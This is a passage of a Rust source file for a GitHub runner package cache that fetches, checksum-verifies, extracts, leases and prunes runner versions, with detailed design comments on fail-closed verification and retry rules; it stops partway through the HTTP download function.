Skip to main content

runner_manager_agent/
package.rs

1// owner: e2-runner-package-cache
2//
3// `e1` owns `reconcile` and the crate root, `e3` owns `lifecycle`. Nothing in
4// this file edits either: the attempt vocabulary this module reasons about —
5// `RunnerAttempt`, `AttemptId`, `AttemptState::is_terminal` — is `b1`'s and is
6// consumed, never restated.
7
8//! The cached, checksum-verified GitHub runner package.
9//!
10//! Two failure modes drive this module, and every decision below is one of them
11//! being closed:
12//!
13//! * **A tampered package executes arbitrary code on the operator's machine.**
14//!   Download metadata comes from GitHub and nowhere else, the published
15//!   SHA-256 is verified *before* extraction, and an absent published checksum
16//!   fails closed rather than degrading into "skip the check"
17//!   (`07-security.md`, `05-infrastructure.md`).
18//! * **A stale package makes every job start failing for a reason nobody will
19//!   guess.** GitHub rejects runners more than 30 days behind the latest
20//!   release (`01-current-architecture.md`, edge case 7), so the published
21//!   version is re-checked on a bounded interval and a superseded cache entry
22//!   is refreshed before a cold start.
23//!
24//! # The shape of the cache
25//!
26//! Under [`AppPaths::state_dir`], which `05-infrastructure.md` names as the home
27//! of "the retained runner package cache":
28//!
29//! ```text
30//! state/
31//!   packages/
32//!     2.330.0/                     one immutable entry, never mutated after it lands
33//!       .runner-package.json       its manifest, written before the entry lands
34//!       run.sh, bin/, externals/   GitHub's archive, extracted
35//!     .staging/                    transient; a partial install is only ever here
36//!     .leases/                     <attempt-uuid>.lease, the prune guard's evidence
37//!   tool-cache/                    approved tool caches, retained beside the binaries
38//! runtime/                         per-attempt job workspaces — NOT under packages/
39//! ```
40//!
41//! **A cache entry is created by exactly one filesystem operation.** Extraction
42//! writes into `.staging/<uuid>/`, the manifest is written *inside* that
43//! staging directory, and the directory is then renamed to `packages/<version>/`.
44//! The rename is the single commit point: an entry that exists is an entry that
45//! is complete, and a crash at any earlier moment leaves nothing but staging
46//! litter. That is also what makes "a second install of the same version is a
47//! no-op" true rather than aspirational — the entry is found and returned before
48//! anything is fetched.
49//!
50//! # The seam `e3` consumes, stated deliberately
51//!
52//! `e3` creates each JIT runtime as "a copy or link from that cache plus a
53//! unique workspace" (`05-infrastructure.md`). Three contracts hold that seam
54//! together, and they are stated here because an unstated port contract becomes
55//! a defect in the consumer:
56//!
57//! 1. [`InstalledPackage::root`] is **read-only to the caller**. It is the
58//!    shared, immutable source that every runtime is copied or linked from.
59//!    Writing into it corrupts every future runtime. What this module offers
60//!    against that is [`PackageContents`], which `e3` checks every runtime
61//!    against; the tree itself cannot be protected from the account that owns it.
62//! 2. [`PackageCache::lease`] must be called for the version a runtime was
63//!    created from, and [`PackageCache::release`] when that runtime is removed.
64//!    **The prune guard is only as truthful as those calls**: a version with no
65//!    lease is a version this module believes nothing references. The guard is
66//!    fail-closed in the other direction — see [`PackageCache::prune`] — so a
67//!    lease that is never released costs disk, while a lease that is never taken
68//!    costs a running runner its binaries.
69//! 3. Job workspaces live under [`AppPaths::runtime_dir`] and never under the
70//!    package cache. [`PackageCache::lease`] **enforces** this rather than
71//!    documenting it: a lease whose attempt's runtime path resolves inside the
72//!    cache root is refused.
73//!
74//! # What is built here and not yet reachable in production
75//!
76//! Two mechanisms in this module are complete and tested but have no live
77//! caller, and both are easier to find written down here than inferred from an
78//! absence:
79//!
80//! * **[`PinnedDigests`] has no operator-facing surface.** It is the entire
81//!   remedy [`PackageError::ChecksumAbsent`] names, and today it can only be
82//!   supplied by [`PackageCache::with_pins`] from Rust. Until a configuration
83//!   or CLI path reaches it, an operator who hits that refusal has been given
84//!   an instruction they cannot carry out. Wiring it is a `g`/`f`-group
85//!   concern, not this module's.
86//! * **[`PackageError::VersionRejected`] cannot be produced through the real
87//!   adapter.** [`GatewayCatalog`] maps every `InventoryError` to the retryable
88//!   [`PackageError::CatalogUnavailable`], correctly — the downloads endpoint
89//!   has no version-rejection response. The rejection lands at *registration*,
90//!   which is `e3`'s path, and [`DownloadCatalog`] exists to carry it here when
91//!   `e3` reports it. So the no-retry behaviour is proven and nothing yet
92//!   supplies its input.
93
94use std::collections::BTreeMap;
95use std::fmt;
96use std::fs;
97use std::io::{self, Read};
98use std::path::{Component, Path, PathBuf};
99use std::sync::{Arc, Mutex};
100
101use runner_manager_domain::attempt::{AttemptState, FailureReason, RunnerAttempt};
102use runner_manager_domain::model::{Arch, AttemptId, Clock, Elapsed, Os, Timestamp};
103use runner_manager_github::rest::{RunnerDownload, RunnerDownloads};
104use runner_manager_platform::os::{self as host_os, UnsupportedHost};
105use runner_manager_platform::paths::AppPaths;
106use serde::{Deserialize, Serialize};
107use sha2::{Digest, Sha256};
108
109// ---------------------------------------------------------------------------
110// Layout constants
111// ---------------------------------------------------------------------------
112
113/// The cache root, under [`AppPaths::state_dir`].
114const PACKAGES_DIR: &str = "packages";
115/// Approved tool caches, retained beside the runner binaries and deliberately
116/// **not** inside [`PACKAGES_DIR`]: a version entry is immutable, and a tool
117/// cache is by definition written to.
118const TOOL_CACHE_DIR: &str = "tool-cache";
119/// Transient extraction area. Everything here is litter from an interrupted
120/// install and may be removed at any time.
121const STAGING_DIR: &str = ".staging";
122/// One file per attempt that holds a version.
123const LEASES_DIR: &str = ".leases";
124const LEASE_EXTENSION: &str = "lease";
125/// The manifest, written inside the staging directory before the entry lands.
126pub(crate) const MANIFEST_FILE: &str = ".runner-package.json";
127
128/// How far behind the latest release a cached package may be before it is
129/// refreshed. GitHub rejects runners past this and plans to block them at
130/// registration (`01-current-architecture.md`, edge case 7).
131pub const FRESHNESS_WINDOW_DAYS: i64 = 30;
132
133/// How often the published version is re-checked. "A bounded interval"
134/// (`05-infrastructure.md`); six hours keeps the check far cheaper than the
135/// demand poll while still catching a release the same day it ships.
136pub const CHECK_INTERVAL_HOURS: i64 = 6;
137
138/// How many times a *retryable* failure is retried before the install is
139/// abandoned. A terminal failure consumes none of this budget.
140pub const RETRY_BUDGET: u32 = 3;
141
142/// How long a download may take to connect.
143pub const DOWNLOAD_CONNECT_TIMEOUT: std::time::Duration = std::time::Duration::from_secs(30);
144
145/// How long a download may go without receiving a byte, its response's headers
146/// included. Not a limit on the transfer: see [`HttpFetcher`].
147pub const DOWNLOAD_STALL_TIMEOUT: std::time::Duration = std::time::Duration::from_secs(60);
148
149// ---------------------------------------------------------------------------
150// RunnerVersion
151// ---------------------------------------------------------------------------
152
153/// A runner package version, such as `2.330.0`.
154///
155/// # Why this is parsed rather than carried as a string
156///
157/// The version becomes a **directory name** under the cache root, and it is
158/// derived from a filename GitHub sends over the wire. A string taken on trust
159/// there is a path component taken on trust: `..`, `foo/bar`, `C:\x` and an
160/// empty segment are all things a hostile or merely broken response could
161/// supply. [`RunnerVersion::parse`] admits only two to four dot-separated runs
162/// of ASCII digits, which cannot spell any of them.
163///
164/// Ordering is numeric per component, so `2.9.0 < 2.10.0`. Nothing in this
165/// module makes a *safety* decision from that ordering — freshness is decided
166/// from install time, not from version order — but a deterministic order makes
167/// [`PackageCache::installed`] stable.
168#[derive(Debug, Clone, PartialEq, Eq, Hash, PartialOrd, Ord, Serialize, Deserialize)]
169#[serde(try_from = "String", into = "String")]
170pub struct RunnerVersion {
171    /// Numeric components, compared first so `2.10.0` sorts above `2.9.0`.
172    parts: Vec<u64>,
173    raw: String,
174}
175
176impl RunnerVersion {
177    /// The longest version string accepted. Generous for `MAJOR.MINOR.PATCH`
178    /// and still far short of anything that could exhaust a path.
179    const MAX_LEN: usize = 64;
180    const MIN_PARTS: usize = 2;
181    const MAX_PARTS: usize = 4;
182
183    /// # Errors
184    /// [`PackageError::UnrecognisedVersion`] when `raw` is not two to four
185    /// dot-separated runs of ASCII digits.
186    pub fn parse(raw: &str) -> Result<Self, PackageError> {
187        let unrecognised = || PackageError::UnrecognisedVersion {
188            raw: raw.to_string(),
189        };
190        if raw.is_empty() || raw.len() > Self::MAX_LEN {
191            return Err(unrecognised());
192        }
193        let mut parts = Vec::new();
194        for segment in raw.split('.') {
195            if segment.is_empty() || !segment.bytes().all(|b| b.is_ascii_digit()) {
196                return Err(unrecognised());
197            }
198            parts.push(segment.parse::<u64>().map_err(|_| unrecognised())?);
199        }
200        if parts.len() < Self::MIN_PARTS || parts.len() > Self::MAX_PARTS {
201            return Err(unrecognised());
202        }
203        Ok(Self {
204            parts,
205            raw: raw.to_string(),
206        })
207    }
208
209    /// The version embedded in a published filename such as
210    /// `actions-runner-win-x64-2.330.0.zip`.
211    ///
212    /// GitHub's runner-downloads response carries no version field — the only
213    /// version signal it publishes is inside the filename and the URL — so this
214    /// is where the cache's directory names come from.
215    ///
216    /// # Errors
217    /// [`PackageError::UnsupportedArchive`] when the extension is neither
218    /// `.zip` nor `.tar.gz`/`.tgz`, and [`PackageError::UnrecognisedVersion`]
219    /// when the trailing segment is not a version.
220    pub fn from_filename(filename: &str) -> Result<Self, PackageError> {
221        let (stem, _) = ArchiveKind::split(filename)?;
222        // `rsplit` always yields at least one item — the whole string when
223        // there is no `-` — so this cannot be `None`. `unwrap_or(stem)` says
224        // that, where the `ok_or_else` it replaced dressed an unreachable arm
225        // up as a handled error and invited a reader to look for the input that
226        // reaches it. If there is no `-`, the whole stem is the candidate and
227        // `parse` refuses it.
228        let last = stem.rsplit('-').next().unwrap_or(stem);
229        Self::parse(last)
230    }
231
232    #[must_use]
233    pub fn as_str(&self) -> &str {
234        &self.raw
235    }
236}
237
238impl fmt::Display for RunnerVersion {
239    fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result {
240        f.write_str(&self.raw)
241    }
242}
243
244impl TryFrom<String> for RunnerVersion {
245    type Error = PackageError;
246
247    fn try_from(value: String) -> Result<Self, Self::Error> {
248        Self::parse(&value)
249    }
250}
251
252impl From<RunnerVersion> for String {
253    fn from(value: RunnerVersion) -> Self {
254        value.raw
255    }
256}
257
258// ---------------------------------------------------------------------------
259// Sha256Hex
260// ---------------------------------------------------------------------------
261
262/// A SHA-256 digest, normalised to 64 lowercase hex characters.
263///
264/// Parsed rather than compared as a raw string so that a malformed published
265/// value — the wrong length, a non-hex character, an `sha256:` prefix — is a
266/// *refusal* rather than a comparison that quietly never matches. A digest
267/// check that can never succeed and a digest check that can never fail are the
268/// same defect wearing different clothes.
269#[derive(Debug, Clone, PartialEq, Eq, Hash, PartialOrd, Ord, Serialize, Deserialize)]
270#[serde(try_from = "String", into = "String")]
271pub struct Sha256Hex(String);
272
273impl Sha256Hex {
274    const LEN: usize = 64;
275
276    /// # Errors
277    /// [`PackageError::MalformedDigest`] when `raw` is not 64 hex characters.
278    pub fn parse(raw: &str) -> Result<Self, PackageError> {
279        let trimmed = raw.trim();
280        if trimmed.len() != Self::LEN || !trimmed.bytes().all(|b| b.is_ascii_hexdigit()) {
281            return Err(PackageError::MalformedDigest {
282                raw: trimmed.to_string(),
283            });
284        }
285        Ok(Self(trimmed.to_ascii_lowercase()))
286    }
287
288    #[must_use]
289    pub fn as_str(&self) -> &str {
290        &self.0
291    }
292}
293
294impl fmt::Display for Sha256Hex {
295    fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result {
296        f.write_str(&self.0)
297    }
298}
299
300impl TryFrom<String> for Sha256Hex {
301    type Error = PackageError;
302
303    fn try_from(value: String) -> Result<Self, Self::Error> {
304        Self::parse(&value)
305    }
306}
307
308impl From<Sha256Hex> for String {
309    fn from(value: Sha256Hex) -> Self {
310        value.0
311    }
312}
313
314/// Which unusable shape GitHub's optional `sha256_checksum` arrived in.
315///
316/// Three distinct facts about the response, one shared remedy. They are not
317/// collapsed into a boolean because the operator reading the refusal is
318/// troubleshooting GitHub's response, and "the field was missing", "the field
319/// was blank" and "the field was not a digest" send them to three different
320/// places.
321#[derive(Debug, Clone, Copy, PartialEq, Eq)]
322pub enum PublishedChecksum {
323    /// The field was not present at all.
324    Absent,
325    /// The field was present and blank.
326    Empty,
327    /// The field was present and was not 64 hexadecimal characters.
328    Malformed,
329}
330
331impl PublishedChecksum {
332    #[must_use]
333    pub const fn describe(self) -> &'static str {
334        match self {
335            Self::Absent => "no sha256_checksum",
336            Self::Empty => "an empty sha256_checksum",
337            Self::Malformed => "a malformed sha256_checksum",
338        }
339    }
340}
341
342impl fmt::Display for PublishedChecksum {
343    fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result {
344        f.write_str(self.describe())
345    }
346}
347
348// ---------------------------------------------------------------------------
349// Archive kind
350// ---------------------------------------------------------------------------
351
352/// The two shapes GitHub publishes the runner in.
353///
354/// **Derived from the filename, never from the host OS.** They agree in
355/// practice — `.zip` for Windows, `.tar.gz` elsewhere — but the filename is what
356/// actually arrived, and deriving the format from an assumption about the host
357/// is how a correct download gets fed to the wrong extractor. It also lets both
358/// extraction paths be exercised on all three CI legs.
359#[derive(Debug, Clone, Copy, PartialEq, Eq)]
360enum ArchiveKind {
361    Zip,
362    TarGz,
363}
364
365impl ArchiveKind {
366    /// Splits a published filename into its stem and its archive kind.
367    fn split(filename: &str) -> Result<(&str, Self), PackageError> {
368        let lower = filename.to_ascii_lowercase();
369        for (extension, kind) in [
370            (".tar.gz", Self::TarGz),
371            (".tgz", Self::TarGz),
372            (".zip", Self::Zip),
373        ] {
374            if lower.ends_with(extension) {
375                return Ok((&filename[..filename.len() - extension.len()], kind));
376            }
377        }
378        Err(PackageError::UnsupportedArchive {
379            filename: filename.to_string(),
380        })
381    }
382}
383
384// ---------------------------------------------------------------------------
385// Errors
386// ---------------------------------------------------------------------------
387
388/// Everything that can stop a package reaching the cache.
389///
390/// # Terminal versus retryable is not a style choice here
391///
392/// `03-control-flows.md` flow 2 fixes the split, and it is narrower than it
393/// looks: *"a JIT request, download checksum, process start, or runner exit
394/// before job acceptance is retried with bounded exponential backoff … A runner
395/// version rejection and an absent published checksum are terminal,
396/// operator-actionable conditions, not retryable errors."*
397///
398/// So a checksum **mismatch** is retryable — the usual cause is a truncated or
399/// corrupted transfer, and the next attempt gets clean bytes — while an
400/// **absent** checksum is terminal, because retrying cannot make GitHub publish
401/// one. Getting this backwards in either direction is a real outage: retrying a
402/// version rejection turns a fixable condition into a silent loop, and treating
403/// a mismatch as terminal fails a cold start on a dropped packet.
404#[derive(Debug, thiserror::Error)]
405pub enum PackageError {
406    /// This OS and architecture pair is not one the product documents. Refused
407    /// before any request is made, let alone any download.
408    #[error("{0}")]
409    UnsupportedHost(#[from] UnsupportedHost),
410
411    /// GitHub publishes no package for this host. **Never a reason to fall back
412    /// to a hardcoded URL** — that is the substitution `07-security.md` exists
413    /// to prevent.
414    #[error("GitHub publishes no runner package for {os}/{arch}")]
415    NoPackagePublished { os: Os, arch: Arch },
416
417    /// GitHub published no *usable* `sha256_checksum` and no operator-pinned
418    /// digest is configured. Terminal: the agent fails closed
419    /// (`05-infrastructure.md`).
420    ///
421    /// `published` says which of the three unusable shapes arrived. They are
422    /// kept apart because they are different facts about GitHub's response —
423    /// `c3` distinguishes absent from empty deliberately — and because an
424    /// operator reading this is entitled to the one that actually happened.
425    /// **All three carry the same remedy, and that is the point of the variant:
426    /// every unusable shape routes to the operator-pinned digest.** An earlier
427    /// version let a malformed value bypass the pin and then told the operator
428    /// to pin one, which was advice that could not work.
429    #[error(
430        "GitHub published {} for runner package {version} ({os}/{arch}), so it \
431         cannot be verified and will not be installed. Pin the digest you have \
432         independently confirmed for {version} and retry.",
433        published.describe()
434    )]
435    ChecksumAbsent {
436        version: RunnerVersion,
437        os: Os,
438        arch: Arch,
439        published: PublishedChecksum,
440    },
441
442    /// The bytes on disk are not the bytes GitHub published. The partial file
443    /// is removed before this is returned, and nothing is extracted.
444    #[error(
445        "runner package {version} does not match its published SHA-256 \
446         (published {expected}, downloaded {actual}); the partial download was \
447         discarded and nothing was extracted"
448    )]
449    ChecksumMismatch {
450        version: RunnerVersion,
451        expected: Sha256Hex,
452        actual: Sha256Hex,
453    },
454
455    /// A digest — published or pinned — that is not 64 hex characters.
456    #[error("`{raw}` is not a SHA-256 digest; a digest is 64 hexadecimal characters")]
457    MalformedDigest { raw: String },
458
459    /// GitHub refused this runner on version grounds. Terminal and
460    /// operator-actionable; see [`DownloadCatalog`] for who reports it.
461    #[error(
462        "GitHub rejected the runner version{}{}. Runners more than \
463         {FRESHNESS_WINDOW_DAYS} days behind the latest release are refused. \
464         Install the current package and start a new attempt; retrying this one \
465         cannot succeed.",
466        version.as_ref().map(|v| format!(" {v}")).unwrap_or_default(),
467        detail.as_ref().map(|d| format!(": {d}")).unwrap_or_default()
468    )]
469    VersionRejected {
470        version: Option<RunnerVersion>,
471        detail: Option<String>,
472    },
473
474    /// The download metadata could not be read. Retryable.
475    #[error("the runner download metadata could not be read: {detail}")]
476    CatalogUnavailable { detail: String },
477
478    /// The package bytes could not be fetched. Retryable.
479    #[error("the runner package could not be downloaded: {detail}")]
480    Download { detail: String },
481
482    /// A filename whose trailing segment is not a version.
483    #[error("`{raw}` is not a runner version")]
484    UnrecognisedVersion { raw: String },
485
486    /// A published filename that is neither a `.zip` nor a `.tar.gz`.
487    #[error("`{filename}` is not a runner package archive this agent can extract")]
488    UnsupportedArchive { filename: String },
489
490    /// An archive entry whose path escapes the directory being extracted into.
491    ///
492    /// Verification runs before extraction, so these bytes are the bytes GitHub
493    /// published and this should be unreachable. It is refused anyway: the cost
494    /// is a path comparison, and the thing it prevents is an archive writing
495    /// outside the cache root.
496    #[error("runner package entry `{entry}` escapes the directory it is extracted into")]
497    UnsafeArchiveEntry { entry: String },
498
499    /// The archive could not be read or unpacked.
500    #[error("the runner package archive could not be extracted: {detail}")]
501    Extract { detail: String },
502
503    /// A prune was refused because a live attempt still holds the version.
504    #[error(
505        "runner package {version} is still held by attempt {attempt}, which is \
506         `{state}` and not terminal; it will be prunable once that attempt \
507         concludes"
508    )]
509    VersionInUse {
510        version: RunnerVersion,
511        attempt: AttemptId,
512        /// `b1`'s type, rendered by `b1`'s `Display`. This module had its own
513        /// nine-arm `match` producing the same nine strings; a second rendering
514        /// of someone else's enum is a second thing to keep in step, and it
515        /// silently stops matching the moment a state is added.
516        state: AttemptState,
517    },
518
519    /// A prune was refused because a lease names an attempt the caller did not
520    /// report. See [`PackageCache::prune`] for why this fails closed.
521    #[error(
522        "runner package {version} is held by attempt {attempt}, which is not in \
523         the attempt set supplied; refusing to prune a version whose holder \
524         cannot be shown to be terminal. Release the lease explicitly if that \
525         attempt is known to be gone."
526    )]
527    VersionHeldByUnknownAttempt {
528        version: RunnerVersion,
529        attempt: AttemptId,
530    },
531
532    /// A lease file exists but cannot be understood, so what it holds is
533    /// unknown and no prune can be shown to be safe.
534    #[error(
535        "the runner package lease at `{}` cannot be read, so which version it \
536         holds is unknown; refusing to prune anything until it is resolved",
537        path.display()
538    )]
539    UnreadableLease { path: PathBuf },
540
541    /// A lease was refused because the attempt's workspace is inside the cache.
542    #[error(
543        "attempt {attempt} has its runtime at `{}`, which is inside the runner \
544         package cache. Job workspaces are disposable and the cache is \
545         immutable; a workspace here would be destroyed by a prune and would \
546         mutate an entry that every other runtime is copied from.",
547        path.display()
548    )]
549    WorkspaceInsideCache { attempt: AttemptId, path: PathBuf },
550
551    /// A lease or prune named a version that is not in the cache.
552    #[error("runner package {version} is not installed")]
553    NotInstalled { version: RunnerVersion },
554
555    #[error("cannot {what} at `{}`: {source}", path.display())]
556    Io {
557        what: &'static str,
558        path: PathBuf,
559        #[source]
560        source: io::Error,
561    },
562
563    /// Every retry was spent on retryable failures.
564    #[error("giving up after {attempts} attempts: {source}")]
565    Exhausted {
566        attempts: u32,
567        #[source]
568        source: Box<PackageError>,
569    },
570}
571
572impl PackageError {
573    /// Whether this condition is terminal and operator-actionable rather than
574    /// something a retry can clear.
575    ///
576    /// Read the type-level documentation before changing any arm: the split is
577    /// fixed by `03-control-flows.md`, not by taste.
578    #[must_use]
579    pub fn is_terminal(&self) -> bool {
580        match self {
581            // Retrying cannot make GitHub publish a checksum, support an
582            // undocumented platform, publish a package it does not publish,
583            // accept a rejected version, or turn a malformed value well-formed.
584            Self::UnsupportedHost(_)
585            | Self::NoPackagePublished { .. }
586            | Self::ChecksumAbsent { .. }
587            | Self::MalformedDigest { .. }
588            | Self::VersionRejected { .. }
589            | Self::UnrecognisedVersion { .. }
590            | Self::UnsupportedArchive { .. }
591            | Self::UnsafeArchiveEntry { .. }
592            | Self::VersionInUse { .. }
593            | Self::VersionHeldByUnknownAttempt { .. }
594            | Self::UnreadableLease { .. }
595            | Self::WorkspaceInsideCache { .. }
596            | Self::NotInstalled { .. } => true,
597            // A truncated transfer, a 5xx, a rate limit, a locked file: the next
598            // attempt can differ.
599            Self::ChecksumMismatch { .. }
600            | Self::CatalogUnavailable { .. }
601            | Self::Download { .. }
602            | Self::Extract { .. }
603            | Self::Io { .. } => false,
604            // The budget is spent; whatever it was spent on, this is the end.
605            Self::Exhausted { .. } => true,
606        }
607    }
608
609    /// The domain reason to journal, when this failure concludes an attempt.
610    ///
611    /// `b1` owns [`FailureReason`] and already names both of this module's
612    /// terminal security conditions. Nothing here invents a second vocabulary
613    /// for them.
614    #[must_use]
615    pub fn failure_reason(&self) -> Option<FailureReason> {
616        match self {
617            Self::ChecksumAbsent { .. }
618            | Self::ChecksumMismatch { .. }
619            | Self::MalformedDigest { .. }
620            | Self::UnsafeArchiveEntry { .. } => Some(FailureReason::RunnerPackageUnverified),
621            Self::VersionRejected { .. } => Some(FailureReason::RunnerVersionRejected),
622            Self::Exhausted { source, .. } => source.failure_reason(),
623            _ => None,
624        }
625    }
626
627    /// What the operator has to do. Every terminal condition has one; a
628    /// retryable one has none, because the answer is "wait".
629    #[must_use]
630    pub fn operator_action(&self) -> Option<&'static str> {
631        match self {
632            Self::UnsupportedHost(_) => Some(
633                "run the agent on a documented operating system and architecture, \
634                 or add this host to the supported matrix",
635            ),
636            Self::NoPackagePublished { .. } => Some(
637                "check that GitHub publishes a runner package for this host's \
638                 operating system and architecture",
639            ),
640            Self::ChecksumAbsent { .. } => Some(
641                "confirm the package digest independently and pin it, or wait \
642                 for GitHub to publish a checksum; the package will not be \
643                 installed unverified",
644            ),
645            Self::MalformedDigest { .. } => {
646                Some("correct the pinned digest to 64 hexadecimal characters")
647            }
648            Self::VersionRejected { .. } => Some(
649                "install the current runner package and start a new attempt; \
650                 this one cannot be retried into success",
651            ),
652            Self::UnsupportedArchive { .. } | Self::UnrecognisedVersion { .. } => Some(
653                "GitHub's runner download metadata is not in a shape this agent \
654                 recognises; report it rather than working around it",
655            ),
656            Self::UnsafeArchiveEntry { .. } => Some(
657                "the runner package archive contains an entry that writes \
658                 outside the cache; do not install it and report it",
659            ),
660            Self::VersionInUse { .. } => {
661                Some("wait for the attempt holding this version to conclude")
662            }
663            Self::VersionHeldByUnknownAttempt { .. } => Some(
664                "release the lease for the attempt named above if it is known to \
665                 be gone, then prune again",
666            ),
667            Self::UnreadableLease { .. } => Some(
668                "inspect the lease file named above; delete it once the attempt \
669                 it belonged to is known to be gone, then prune again",
670            ),
671            Self::WorkspaceInsideCache { .. } => {
672                Some("place job workspaces under the runtime directory")
673            }
674            Self::NotInstalled { .. } => Some("install the version before referencing it"),
675            Self::Exhausted { source, .. } => source.operator_action(),
676            Self::ChecksumMismatch { .. }
677            | Self::CatalogUnavailable { .. }
678            | Self::Download { .. }
679            | Self::Extract { .. }
680            | Self::Io { .. } => None,
681        }
682    }
683}
684
685// ---------------------------------------------------------------------------
686// Ports
687// ---------------------------------------------------------------------------
688
689/// Where the published runner-download metadata comes from.
690///
691/// Deliberately narrower than `c3`'s `InventoryGateway`: this module needs one
692/// answer, and a port with one method is a port a test can substitute without
693/// standing up a whole gateway. [`GatewayCatalog`] adapts the real one.
694///
695/// # Reporting a version rejection through this port
696///
697/// GitHub's runner-downloads endpoint does not itself reject a version — the
698/// rejection lands at *registration*, which is `e3`'s path. This port carries
699/// [`PackageError::VersionRejected`] anyway so that a rejection observed
700/// anywhere in the agent reaches the one place that can act on it: the cache,
701/// whose fix is a newer package.
702///
703/// **An implementation that answers `VersionRejected` is promising that
704/// retrying is pointless.** [`PackageCache`] honours that literally — it makes
705/// no further attempt and spends none of its retry budget — so an
706/// implementation that returns it for a transient condition converts a blip
707/// into a stopped host. When in doubt, answer
708/// [`PackageError::CatalogUnavailable`], which is retryable.
709#[async_trait::async_trait]
710pub trait DownloadCatalog: fmt::Debug + Send + Sync {
711    /// The runner packages GitHub currently publishes.
712    ///
713    /// # Errors
714    /// [`PackageError::CatalogUnavailable`] for anything a retry could clear,
715    /// [`PackageError::VersionRejected`] for a version refusal.
716    async fn published(&self) -> Result<RunnerDownloads, PackageError>;
717}
718
719/// Streams a published package onto disk.
720///
721/// # Contract
722///
723/// * The bytes are written to `destination` and nowhere else.
724/// * **The implementation does not remove `destination` on failure.** A partial
725///   file is the caller's to discard, and [`PackageCache`] discards it — see
726///   [`PackageCache::prune`]'s neighbour, `download_and_verify`. Having the
727///   fetcher clean up would hide a partial download from the very test that
728///   proves it is removed.
729/// * Nothing is verified here. Verification is the cache's, and it happens
730///   before extraction.
731#[async_trait::async_trait]
732pub trait PackageFetcher: fmt::Debug + Send + Sync {
733    /// Stream `url` into `destination`, answering how many bytes were written.
734    ///
735    /// # Errors
736    /// [`PackageError::Download`] for a transport or status failure,
737    /// [`PackageError::Io`] for a write failure.
738    async fn fetch(&self, url: &str, destination: &Path) -> Result<u64, PackageError>;
739}
740
741/// How long to wait between retries of a retryable failure.
742#[async_trait::async_trait]
743pub trait Backoff: fmt::Debug + Send + Sync {
744    /// Called after attempt `attempt` (1-based) failed retryably.
745    async fn wait(&self, attempt: u32);
746}
747
748/// Bounded exponential backoff, as `03-control-flows.md` requires.
749#[derive(Debug, Clone, Copy)]
750pub struct ExponentialBackoff {
751    base: std::time::Duration,
752    cap: std::time::Duration,
753}
754
755impl ExponentialBackoff {
756    #[must_use]
757    pub const fn new(base: std::time::Duration, cap: std::time::Duration) -> Self {
758        Self { base, cap }
759    }
760}
761
762impl Default for ExponentialBackoff {
763    fn default() -> Self {
764        Self::new(
765            std::time::Duration::from_secs(2),
766            std::time::Duration::from_secs(30),
767        )
768    }
769}
770
771#[async_trait::async_trait]
772impl Backoff for ExponentialBackoff {
773    async fn wait(&self, attempt: u32) {
774        let factor = 1_u32 << attempt.min(16);
775        let delay = self.base.saturating_mul(factor).min(self.cap);
776        tokio::time::sleep(delay).await;
777    }
778}
779
780/// No delay at all. For tests, and for a caller that supplies its own pacing.
781#[derive(Debug, Clone, Copy, Default)]
782pub struct NoBackoff;
783
784#[async_trait::async_trait]
785impl Backoff for NoBackoff {
786    async fn wait(&self, _attempt: u32) {}
787}
788
789// ---------------------------------------------------------------------------
790// Production adapters
791// ---------------------------------------------------------------------------
792
793/// Adapts `c3`'s `InventoryGateway` to [`DownloadCatalog`].
794///
795/// Every `InventoryError` maps to [`PackageError::CatalogUnavailable`], which
796/// is retryable, because the downloads endpoint has no version-rejection
797/// response: a rate limit, a cancellation and a transport failure are all
798/// conditions a later attempt can clear.
799#[derive(Debug)]
800pub struct GatewayCatalog<G> {
801    gateway: G,
802    target: runner_manager_domain::model::ScaleTarget,
803}
804
805impl<G> GatewayCatalog<G> {
806    #[must_use]
807    pub const fn new(gateway: G, target: runner_manager_domain::model::ScaleTarget) -> Self {
808        Self { gateway, target }
809    }
810}
811
812#[async_trait::async_trait]
813impl<G> DownloadCatalog for GatewayCatalog<G>
814where
815    G: runner_manager_github::rest::InventoryGateway,
816{
817    async fn published(&self) -> Result<RunnerDownloads, PackageError> {
818        let cancel = runner_manager_github::rest::CancelToken::new();
819        self.gateway
820            .runner_downloads(&self.target, &cancel)
821            .await
822            .map_err(|error| PackageError::CatalogUnavailable {
823                detail: error.to_string(),
824            })
825    }
826}
827
828/// Streams the package with `reqwest`, one chunk at a time.
829///
830/// The `stream` feature exists in this workspace for exactly this: the package
831/// is 150-300 MB, and nothing else should sit in memory while a connection may
832/// take minutes. Verifying it reads it in once, for seconds.
833///
834/// A connection that stops sending fails the download: every copy of the
835/// package on this host waits for it. There is no limit on the whole transfer,
836/// because a large package on a slow line is legitimately slow; only silence
837/// fails it, `reqwest`'s read timeout starting over with every read. What was
838/// written is removed by the caller, on every path out of the fetch, and it was
839/// never going to be taken for a package: an archive is only extracted once its
840/// digest matches.
841#[derive(Debug, Clone)]
842pub struct HttpFetcher {
843    client: reqwest::Client,
844}
845
846impl HttpFetcher {
847    #[must_use]
848    pub fn new(client: reqwest::Client) -> Self {
849        Self { client }
850    }
851}
852
853impl Default for HttpFetcher {
854    fn default() -> Self {
855        let client = reqwest::Client::builder()
856            .connect_timeout(DOWNLOAD_CONNECT_TIMEOUT)
857            .read_timeout(DOWNLOAD_STALL_TIMEOUT)
858            .build()
859            .unwrap_or_default();
860        Self::new(client)
861    }
862}
863
864#[async_trait::async_trait]
865impl PackageFetcher for HttpFetcher {
866    async fn fetch(&self, url: &str, destination: &Path) -> Result<u64, PackageError> {
867        use futures::StreamExt as _;
868        use tokio::io::AsyncWriteExt as _;
869
870        let response = self
871            .client
872            .get(url)
873            .send()
874            .await
875            .and_then(reqwest::Response::error_for_status)
876            .map_err(|error| PackageError::Download {
877                detail: error.to_string(),
878            })?;
879
880        let mut file = tokio::fs::File::create(destination)
881            .await
882            .map_err(|source| PackageError::Io {
883                what: "create the package download file",
884                path: destination.to_path_buf(),
885                source,
886            })?;
887
888        let mut stream = response.bytes_stream();
889        let mut written = 0_u64;
890        while let Some(chunk) = stream.next().await {
891            let chunk = chunk.map_err(|error| PackageError::Download {
892                detail: error.to_string(),
893            })?;
894            written += chunk.len() as u64;
895            file.write_all(&chunk)
896                .await
897                .map_err(|source| PackageError::Io {
898                    what: "write the package download file",
899                    path: destination.to_path_buf(),
900                    source,
901                })?;
902        }
903        file.flush().await.map_err(|source| PackageError::Io {
904            what: "flush the package download file",
905            path: destination.to_path_buf(),
